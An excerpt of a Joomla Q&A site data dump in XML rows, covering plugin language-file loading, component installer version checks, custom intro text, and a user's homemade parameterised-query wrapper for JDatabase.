  <row Id="19044" PostTypeId="2" ParentId="16223" CreationDate="2017-02-03T14:58:05.573" Score="1" Body="&lt;p&gt;You can also use proper way to get full url as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$mode = $config-&amp;gt;get('force_ssl', 0) == 2 ? 1 : (-1);&#xA;echo JRoute::_('index.php?Itemid=164',false,$mode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8836" LastActivityDate="2017-02-03T14:58:05.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19045" PostTypeId="1" AcceptedAnswerId="19053" CreationDate="2017-02-03T17:29:26.963" Score="2" ViewCount="2627" Body="&lt;p&gt;I'm writing a plugin that needs some translatable strings at runtime, but I'm having trouble getting my language file to be picked up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/language/en-GB/en-GB.plg_system_myplugin.sys.ini&lt;/code&gt;&lt;br&gt;&#xA;This contains the translations for the plugin's config page. This is working fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;/language/en-GB/en-GB.plg_system_myplugin.ini&lt;/code&gt;&lt;br&gt;&#xA;This contains the translations for the plugin to use at runtime. This is not working.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And both of the above referenced in the plugin XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_system_myplugin.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_system_myplugin.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As noted above, the .sys.ini file is working just fine; my plugins config page shows up with all the labels, etc loaded correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the .ini file is not working. From what as I can tell, looking at the Joomla Debug Console, the .ini translation file isn't being loaded at all even when the plugin is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see what I'm doing wrong here. Similar code in modules and components works just fine, but I can't make it work in a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please tell me how to make a language file work in a plugin, or tell me what I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2017-02-04T21:06:21.617" Title="Language files in a plugin" Tags="|plugin|language|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19046" PostTypeId="1" AcceptedAnswerId="19051" CreationDate="2017-02-04T03:41:13.350" Score="1" ViewCount="83" Body="&lt;p&gt;On some articles, the best text to use as the intro text isn't necessarily the initial text in the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to define an alternative block of text later in the document as the intro text e.g. by using some plugin syntax such as &lt;code&gt;{introtext}&lt;/code&gt; and &lt;code&gt;{/introtext}&lt;/code&gt; to define the block or by using some other method?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="126" LastEditDate="2017-02-24T17:26:22.420" LastActivityDate="2017-02-24T17:26:22.420" Title="Is there any way to define a block of text other than the initial text as the intro text?" Tags="|joomla-3.x|articles|intro-text|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19047" PostTypeId="1" AcceptedAnswerId="19048" CreationDate="2017-02-04T04:58:43.227" Score="1" ViewCount="65" Body="&lt;p&gt;I promised to dev a small caritate project for the local government. It consists of a few pages, db tables, queries. I don't need tutorials about how a database works, what is MVC and other design patterns. I just like to integrate my small app with joomla, so it would have a menu point in a submenu and it would have nice URIs, send queries through an ORM and have a cronjob, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some research, I need to use the menu manager to add a menu point and the extension manager to add a custom component. I made a basic hello world component based on a tutorial. I really don't have much time to complete the project, so I am looking for a tutorial or a documentation which is exactly about integration of existing apps. Is there something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers! I will probably never use PHP or Joomla again, so I don't care about the minus points, but please don't close the question, maybe somebody has an answer! :D&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-04T05:40:39.307" Title="What is the fastest way to integrate with Joomla?" Tags="|joomla-3.4|custom-component|integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19048" PostTypeId="2" ParentId="19047" CreationDate="2017-02-04T05:35:19.493" Score="2" Body="&lt;p&gt;One of the fastest ways to add an application to Joomla (if you are not familiar with Joomla) is to install the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; or similar which allows you to embed code (e.g. PHP) directly into articles and custom HTML modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy to find examples showing how use the Joomla API to read and write to the Joomla database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you might need to learn is how best to add some custom styling and this can be found at &lt;a href=&quot;https://joomla.stackexchange.com/q/3877/120&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-02-04T05:40:39.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19049" PostTypeId="2" ParentId="19045" CreationDate="2017-02-04T14:49:16.907" Score="3" Body="&lt;p&gt;Load the language files in the plugin's constructor like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct(&amp;amp;$subject, $config) {&#xA;    $lang = JFactory::getLanguage();&#xA;    $lang-&amp;gt;load('plg_system_myplugin', dirname(__FILE__));&#xA;&#xA;    parent::__construct($subject, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2017-02-04T14:49:16.907" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19050" PostTypeId="2" ParentId="19045" CreationDate="2017-02-04T15:03:49.163" Score="2" Body="&lt;p&gt;I assume you have done the following, but just to make sure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin/en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;be sure the language file exists and in the right folder&lt;/li&gt;&#xA;&lt;li&gt;(double)check the language file is written with the right syntax and there is no misspelling&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem can be in your language file or in your script. To determine this you can try to override a constant in your language file. Go to Extensions --&gt; Languages --&gt; Overrides and click on the green New-button. Search for a value that should be in the language file. If you don't get a result it's in your file. If you do get a result it's in your script.&lt;/p&gt;&#xA;" OwnerUserId="8390" LastActivityDate="2017-02-04T15:03:49.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19051" PostTypeId="2" ParentId="19046" CreationDate="2017-02-04T15:13:45.387" Score="2" Body="&lt;p&gt;There is something you can do by combining the available abilities in Joomla core, but there are certainly many other custom ways to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it depends on how you want to use this and what you want to achieve, which you haven't clearly specified.&#xA;Do you want to save this in the database? Simply show it on your blog layout? or in modules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example ideas: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the core capabilities: You can always use the intro-text separation as whole autonomous text field, by entering there your desired intro text, which you later will keep hidden from the article layout. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could use the meta description field in conjunction with some template overrides.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or you can use a custom field to extend com_content and then again with template overrides, or a custom(ized) module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or as you said you can involve a custom plugin and make use of your plugin's syntax to mark your desired intro text inside the article and then have the plugin either inject it wherever you want in the article or even saving it in the database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-04T15:13:45.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19052" PostTypeId="2" ParentId="19024" CreationDate="2017-02-04T19:02:05.000" Score="2" Body="&lt;p&gt;Make sure of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The file/folder permissions are correct on the tmp folder. Typically, they should be 755.&lt;/li&gt;&#xA;&lt;li&gt;The ownership is correct on the tmp folder. If you are running a cPanel/WHM environment, then the folder should be owned by the cPanel user. If you're running Plesk, then the folder should be owned by &lt;code&gt;www-data&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-02-04T19:02:05.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19053" PostTypeId="2" ParentId="19045" CreationDate="2017-02-04T21:06:21.617" Score="4" Body="&lt;p&gt;Since Joomla 3.1 it is not necessary to expand the constructor any more, like farahmand's answer.&#xA;You can easily write / set the &lt;strong&gt;&lt;em&gt;$autoloadLanguage&lt;/em&gt;&lt;/strong&gt; like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; class myPlugin extends JPlugin&#xA; {&#xA;    /**&#xA;    * Load the language file on instantiation.&#xA;    *&#xA;    * @var    boolean&#xA;    * @since  3.1&#xA;    */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2017-02-04T21:06:21.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19054" PostTypeId="2" ParentId="19037" CreationDate="2017-02-04T23:15:03.063" Score="1" Body="&lt;p&gt;I can see a couple of options depending on your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you sub-categories are not going to change then you could set up a 'Articles - Category' module for each sub-category.  This allows you set the number of articles to show and the introtext limit will allow you to show a set number of characters.  Then make a category blog list showing 0 items but with the category description showing.  Then in the category description set out the modules using &lt;code&gt;loadpositions&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Custom Title And Link to Subcat1&#xA;&#xA;{loadposition some_custom_position_set_in_the_module_1}&#xA;&#xA;Custom Title And Link to Subcat2&#xA;&#xA;{loadposition some_custom_position_set_in_the_module_2}&#xA;&#xA;Custom Title And Link to Subcat3&#xA;&#xA;{loadposition some_custom_position_set_in_the_module_3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you detailed control over the display without having to edit any php.  You would only load it in a category description like I suggest to keep your URI structure nice, but this may or may not apply to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write a category blog template override. documentation is here&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="9510" LastEditDate="2017-02-07T14:42:03.817" LastActivityDate="2017-02-07T14:42:03.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19055" PostTypeId="2" ParentId="19024" CreationDate="2017-02-05T00:24:05.663" Score="2" Body="&lt;p&gt;Apart from file and folder permissions and ownership, you should also check you have sufficient free space to upload the file.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-05T00:24:05.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19056" PostTypeId="2" ParentId="19035" CreationDate="2017-02-05T15:04:48.870" Score="1" Body="&lt;p&gt;I'm using Doctrine 2 ORM in several custom extensions and will update the Jooctrine repo; hopefully soon. Will publish about it then again too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our first goal however is to finish some custom, quite elaborate extensions; deadlines for delivery are nearing. We have changed a lot and developed some interesting things. So, keep an eye on the Jooctrine repo if you seriously want to work with Doctrine ORM in Joomla, but don't wait for it if you are in a hurry.&lt;/p&gt;&#xA;" OwnerUserId="9640" LastActivityDate="2017-02-05T15:04:48.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19057" PostTypeId="2" ParentId="18985" CreationDate="2017-02-05T18:05:46.253" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Components -&gt; K2 -&gt; User Groups&lt;/strong&gt; and check that the group &lt;strong&gt;Site Owner&lt;/strong&gt; has the &lt;strong&gt;Front-end item editing&lt;/strong&gt; as &lt;strong&gt;YES&lt;/strong&gt; also there you can choose what categories can be edited or not.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Components -&gt; K2 -&gt; Users&lt;/strong&gt; and search for super user, edit that account and select the &lt;strong&gt;K2 user group&lt;/strong&gt; as &lt;strong&gt;Site Owner&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Save and now Super User should have frontpage edit privileges (if there are no template overrides).&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-02-05T18:05:46.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19058" PostTypeId="1" AcceptedAnswerId="19059" CreationDate="2017-02-05T23:39:24.097" Score="1" ViewCount="177" Body="&lt;p&gt;I found by Joomla 3.x, that I can use an install script something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Com_ExampleInstallerScript&#xA;{&#xA;    public function install($adapter) &#xA;    {&#xA;        // create tables&#xA;    }&#xA;&#xA;    public function uninstall($adapter) &#xA;    {&#xA;        // remove tables&#xA;    }&#xA;&#xA;    public function update($adapter) &#xA;    {&#xA;        // alter tables&#xA;    }&#xA;&#xA;    public function preflight($route, $adapter) &#xA;    {&#xA;        // stop service, probably creating a lock file&#xA;    }&#xA;&#xA;    public function postflight($route, $adapter) &#xA;    {&#xA;        // start service, probably removing a lock file&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is fine except the update part. I guess this runs when I already have installed an older version and try to install the new version. If so, then how can I get the version number of the old version? I don't want to use upgrade SQL files, so that's not the answer.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-06T09:06:07.787" Title="Update component, where to retrieve the old version number from?" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19059" PostTypeId="2" ParentId="19058" CreationDate="2017-02-05T23:45:49.857" Score="1" Body="&lt;p&gt;You can get the old version like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Com_ExampleInstallerScript&#xA;{&#xA;    protected $release = '';&#xA;&#xA;    protected $paramTable = '#__modules';&#xA;&#xA;    protected $extension = 'mod_mymodule';&#xA;&#xA;    public function preflight($type, $parent)&#xA;    {&#xA;        // Module manifest file version&#xA;        $this-&amp;gt;release = $parent-&amp;gt;get('manifest')-&amp;gt;version;&#xA;&#xA;        // Abort if the module being installed is not newer than the currently installed version&#xA;        if (strtolower($type) == 'update')&#xA;        {&#xA;            $manifest   = $this-&amp;gt;getItemArray('manifest_cache', '#__extensions', 'element', JFactory::getDbo()-&amp;gt;quote($this-&amp;gt;extension));&#xA;            $oldRelease = $manifest['version'];&#xA;&#xA;            if (version_compare($this-&amp;gt;release, $oldRelease, '&amp;lt;'))&#xA;            {&#xA;                JFactory::getApplication()-&amp;gt;enqueueMessage(JText::sprintf('YOU_CANT_UPDATE_TO_A_LOWER_VERSION', $oldRelease, $this-&amp;gt;release), 'error');&#xA;                return false;&#xA;            }&#xA;            if (version_compare($oldRelease, $this-&amp;gt;release, '&amp;lt;'))&#xA;            {&#xA;                // If old version is the same as or less than 1.0.1&#xA;                if (version_compare($oldRelease, '1.0.1', '&amp;lt;='))&#xA;                {&#xA;                    // DO something here&#xA;                }&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added a few comment to assist. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-02-06T09:06:07.787" LastActivityDate="2017-02-06T09:06:07.787" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19060" PostTypeId="1" AcceptedAnswerId="19061" CreationDate="2017-02-06T00:20:25.713" Score="2" ViewCount="613" Body="&lt;p&gt;Is there a way to use a statement template, like by Hibernate HQL?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SQLQuery sql=s.createSQLQuery(&quot;SELECT AVG(RATING) as r, COUNT(*) as c FROM RATINGS WHERE ADVENTURE_ID = ?&quot;);&#xA;sql.setParameter(0, adventureId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if we are not talking about ORMs, then like by PDO?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$stmt = $dbh-&amp;gt;prepare(&quot;INSERT INTO REGISTRY (name, value) VALUES (:name, :value)&quot;);&#xA;$stmt-&amp;gt;bindParam(':name', $name);&#xA;$stmt-&amp;gt;bindParam(':value', $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't want to concatenate strings and quote the injected data manually, that is so disappointing in 2017.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery('SELECT params FROM #__extensions WHERE name = ' . $db-&amp;gt;quote('com_democompupdate'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even worse&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('user_id', 'profile_key', 'profile_value', 'ordering')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE '. $db-&amp;gt;quote('\'custom.%\''));&#xA;$query-&amp;gt;order('ordering ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really need ORM in this project, the db will be MySQL forever, I just need a way to get connection, begin transactions and execute statement templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I don't want to create a new PDO connection, I'd like to do this with a JDatabase connection. I don't want the component to know anything of the db account.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-02-06T04:46:00.737" LastActivityDate="2017-03-10T02:18:27.600" Title="JDatabase, SQL statement template" Tags="|joomla-3.x|templates|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19061" PostTypeId="2" ParentId="19060" CreationDate="2017-02-06T04:45:27.423" Score="1" Body="&lt;p&gt;I found there is a &lt;code&gt;$query-&amp;gt;bind&lt;/code&gt; method, so it is possible to create a prepared statement, or whatever we call it. But in my case this is not that simple. I have version 3.4.3, I am not the site maintainer, so I don't want to change the configuration or migrate to a newer version. I don't want to experiment on the production server and I don't have a development environment for PHP, only notepad. This is because I am working only on a small component and I don't want to buy IDEs like PHPStorm just to end this at most 5 days project. I test in production too. I understand this is far from perfect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the configuration I found that &lt;code&gt;$dbtype = 'mysqli'&lt;/code&gt;. Afaik. &lt;a href=&quot;http://php.net/manual/en/mysqli.quickstart.prepared-statements.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysqli supports prepared statements&lt;/a&gt; too, but that does not necessarily mean the mysqli driver supports it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the early Joomla 3.x in 2014 only SQLite and Oracle had PDO based drivers, and the other drivers did not support prepared statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I found that my Joomla version is from 2015, and this feature &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11696/commits&quot; rel=&quot;nofollow noreferrer&quot;&gt;was added to the mysqli driver in 2016&lt;/a&gt;. I wrote a simple QueryTemplate class, I'll use that as workaround. I strongly recommend to everybody else to migrate to a new version if it is possible and never test your code in production environment! :D :D :D&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that my version supports transactions. At least that is okay. I decided to wrap the joomla class, but this is not mandatory, you can use the template without that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;JoomlaQueryTemplate.php:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Canteen\infrastructure;&#xA;&#xA;use Canteen\infrastructure\iTemplate;&#xA;use JFactory;&#xA;use Exception;&#xA;&#xA;class JoomlaQueryTemplate implements iTemplate {&#xA;&#xA;    public function __construct($template){&#xA;        if (!is_string($template))&#xA;            throw new Exception('Invalid SQL template.');&#xA;        $this-&amp;gt;template = $template;&#xA;    }&#xA;&#xA;    public function evaluate($data){&#xA;        return preg_replace_callback('/:(\w+)/usD', function ($match) use ($data) {&#xA;            $param = $match[1];&#xA;            if (!array_key_exists($param, $data))&#xA;                throw new Exception('Not given param: '.$param);&#xA;            $value = JFactory::getDbo()-&amp;gt;quote($data[$param]);&#xA;            return $value;&#xA;        }, $this-&amp;gt;template);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;JoomlaConnection.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Canteen\infrastructure;&#xA;&#xA;use Canteen\infrastructure\JoomlaQueryTemplate;&#xA;use JFactory;&#xA;&#xA;class JoomlaConnection implements iConnection {&#xA;&#xA;    protected $connection;&#xA;&#xA;    public function __construct(){&#xA;        $this-&amp;gt;connection = JFactory::getDbo();&#xA;    }&#xA;&#xA;    public function execute($template, $data = array()){&#xA;        $queryTemplate = new JoomlaQueryTemplate($template);&#xA;        $query = $queryTemplate-&amp;gt;evaluate($data);&#xA;        $this-&amp;gt;connection-&amp;gt;setQuery($query);&#xA;        $this-&amp;gt;connection-&amp;gt;execute();&#xA;    }&#xA;&#xA;    public function getId(){&#xA;        return $this-&amp;gt;connection-&amp;gt;insertid();&#xA;    }&#xA;&#xA;    public function query($template, $data = array()){&#xA;        $queryTemplate = new JoomlaQueryTemplate($template);&#xA;        $query = $queryTemplate-&amp;gt;evaluate($data);&#xA;        $this-&amp;gt;connection-&amp;gt;setQuery($query);&#xA;        $this-&amp;gt;connection-&amp;gt;execute();&#xA;    }&#xA;&#xA;    public function isEmpty(){&#xA;        $rowsCount = $this-&amp;gt;connection-&amp;gt;getNumRows();&#xA;        return $rowsCount == 0;&#xA;    }&#xA;&#xA;    public function getMany(){&#xA;        return $this-&amp;gt;connection-&amp;gt;loadObjectList();&#xA;    }&#xA;&#xA;    public function getOne(){&#xA;        return $this-&amp;gt;connection-&amp;gt;loadObject();&#xA;    }&#xA;&#xA;    public function getValues(){&#xA;        return $this-&amp;gt;connection-&amp;gt;loadColumn();&#xA;    }&#xA;&#xA;    public function getValue(){&#xA;        return $this-&amp;gt;connection-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    public function beginTransaction(){&#xA;        $this-&amp;gt;connection-&amp;gt;transactionStart();&#xA;    }&#xA;&#xA;    public function commit(){&#xA;        $this-&amp;gt;connection-&amp;gt;transactionCommit();&#xA;    }&#xA;&#xA;    public function rollback(){&#xA;        $this-&amp;gt;connection-&amp;gt;transactionRollback();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The connection is injected into my repos and app services. So the app services can handle transactions and the repos can send sql queries. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function readStatistics(){&#xA;    $statisticsDTO = new CustomerStatisticsDTO();&#xA;    try {&#xA;        $this-&amp;gt;connection-&amp;gt;beginTransaction();&#xA;        $statisticsDTO-&amp;gt;setTotalCount($this-&amp;gt;repository-&amp;gt;countCustomers());&#xA;        $statisticsDTO-&amp;gt;setActiveCount($this-&amp;gt;repository-&amp;gt;countActiveCustomers());&#xA;        $statisticsDTO-&amp;gt;setSuspendedCount($this-&amp;gt;repository-&amp;gt;countSuspendedCustomers());&#xA;        $this-&amp;gt;connection-&amp;gt;commit();&#xA;    }&#xA;    catch (Exception $exception){&#xA;        $this-&amp;gt;connection-&amp;gt;rollback();&#xA;        throw $exception;&#xA;    }&#xA;    $statisticsDTO-&amp;gt;setPassiveCount($statisticsDTO-&amp;gt;getTotalCount() - $statisticsDTO-&amp;gt;getActiveCount());&#xA;    $statisticsDTO-&amp;gt;setOrderingCount($statisticsDTO-&amp;gt;getActiveCount() - $statisticsDTO-&amp;gt;getSuspendedCount());&#xA;    return $statisticsDTO;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function countSuspendedCustomers(){&#xA;    $today = new DateTime('today');&#xA;    $this-&amp;gt;connection-&amp;gt;query(&#xA;        'SELECT COUNT(`#__canteen_customers`.`user_id`) AS `result` '.&#xA;        'FROM `#__canteen_customers` '.&#xA;        'WHERE '.&#xA;            '0 &amp;lt; ('.&#xA;                'SELECT count(`#__canteen_suspensions`.`suspension_id`) AS `active_suspension_count` '.&#xA;                'FROM `#__canteen_suspensions` '.&#xA;                'WHERE '.&#xA;                    '`#__canteen_customers`.`user_id` = `#__canteen_suspensions`.`user_id` AND '.&#xA;                    '`#__canteen_suspensions`.`suspension_from` &amp;lt;= :date AND '.&#xA;                    '(`#__canteen_suspensions`.`suspension_to` IS NULL OR `#__canteen_suspensions`.`suspension_to` &amp;gt;= :date)'.&#xA;            ') AND '.&#xA;            '`#__canteen_customers`.`customer_active` = TRUE',&#xA;        array(&#xA;            'date' =&amp;gt; $today-&amp;gt;format('Y-m-d')&#xA;        )&#xA;    );&#xA;&#xA;    return (int) $this-&amp;gt;connection-&amp;gt;getValue();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I know that I don't have to rollback by select statements only, but I just copy-pasted that part of code, and it does not do any harm. It would be better with unit of work I guess, but I am learning that pattern later.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure that the original joomla query builder api is good as well, but I felt more natural to use prepared statements, because I did not have to learn how to translate between the query builder code and the resulted sql. I don't want to use for example pgsql later, so it is okay for me to write sql instead of generating it. Ofc. if you can choose, then install the newest joomla version, which supports prepared statements, and use that instead of this.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-10T02:18:27.600" LastActivityDate="2017-03-10T02:18:27.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19062" PostTypeId="1" AcceptedAnswerId="19093" CreationDate="2017-02-06T05:26:27.487" Score="1" ViewCount="1546" Body="&lt;p&gt;I am writing my first Joomla component. I found there are 3 so called entry points. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;installer&lt;/li&gt;&#xA;&lt;li&gt;site entry&lt;/li&gt;&#xA;&lt;li&gt;admin entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to use some common utility classes by all of these entry points. These classes should be part of this component only, and should be installed in the package I make from this component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best practice to copy, register and load these classes? I found there is a &lt;strong&gt;JLoader&lt;/strong&gt;, which you can use to register and load classes, but nothing more. It is not clear how to copy these classes, since their folder is on the same level as site and admin folders which are copied by install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not clear either how to register these classes without adding any code to the entry points. Ofc. if that is not possible then I can live with that. I don't want to use PHP namespaces, since Joomla does not use them and I want to stay joomlish. :D&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9510" LastEditDate="2017-02-07T07:22:06.443" LastActivityDate="2017-02-08T07:26:41.403" Title="Loading custom classes in a component automatically" Tags="|joomla-3.x|component|custom-component|autoload|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
